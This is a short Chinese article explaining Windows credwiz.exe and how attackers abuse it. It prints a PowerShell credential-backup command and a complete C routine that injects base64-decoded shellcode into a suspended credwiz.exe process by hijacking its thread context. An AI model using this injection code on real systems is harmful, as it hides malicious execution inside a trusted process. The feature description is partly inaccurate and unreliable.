概述:Windows credwiz.exe 文件说明。本文主要说明其基本功能和被使用场景。
相关文章推荐:
- credwiz.exe 是 Windows 操作系统中的一个程序,用于备份和还原用户凭据。凭据可以包括保存的密码、证书、访问令牌等信息。使用凭据向导(Credential Backup and Restore Wizard)可以帮助用户在需要时轻松地备份和恢复这些重要的凭据 - suv789 - 博客园
- 利用IIS的模块功能绕过防火墙
credwiz.exe 是什么
credwisz.exe 是一个与 Windows Credential Manager 相关联的文件,该功能允许用户安全地存储和管理用户凭证,如用户名和密码。
启动后,credwiz.exe 打开 Windows 凭据管理器,允许用户查看、添加或备份、恢复或删除各种应用程序和网站的存储凭据。
credwiz.exe 利用
了解到 Credwiz.exe 可以备份用户账户凭证,就不难想象其可能会被利用的场景。
在很多 Windows 后门模块中,就有调用 Credwiz 来备份用户账户凭证的场景。
# 使用 credwiz.exe 备份凭据
Start-Process -FilePath "C:\Windows\System32\credwiz.exe" -ArgumentList "/backup" -Wait以及被用来注入 ShellCode。Credwiz 是 Windows 的一个合法进程,拥有较高权限,容易被利用。
VOID InjectShellcode(OUT LPVOID lpOutputData, IN LPVOID lpInputData) {
DWORD dwB64Size = MAX_DATA;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
BOOL bSuccess = CreateProcess(L"C:\\Windows\\System32\\credwiz.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Allocate space for shellcode.
LPVOID lpShellcode = VirtualAllocEx(pi.hProcess, NULL, MAX_DATA, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LPVOID lpTemp = VirtualAlloc(NULL, MAX_DATA, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
DWORD dwB64 = 4096;
CryptStringToBinaryA((LPCSTR)lpInputData, 0, CRYPT_STRING_BASE64, (BYTE*)lpTemp, &dwB64, NULL, NULL);
SIZE_T dwWritten = 0;
WriteProcessMemory(pi.hProcess, lpShellcode, lpTemp, MAX_DATA, &dwWritten);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
#ifdef _WIN64
ctx.Rip = (DWORD64)lpShellcode;
#else
ctx.Eip = (DWORD64)lpShellcode;
#endif
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
VirtualFree(lpTemp, MAX_DATA, MEM_DECOMMIT);
CopyMemory(lpOutputData, "DONE" ,4);
}上述 shellcode 可能被用来加载一些恶意 dll,实现恶意代码的执行。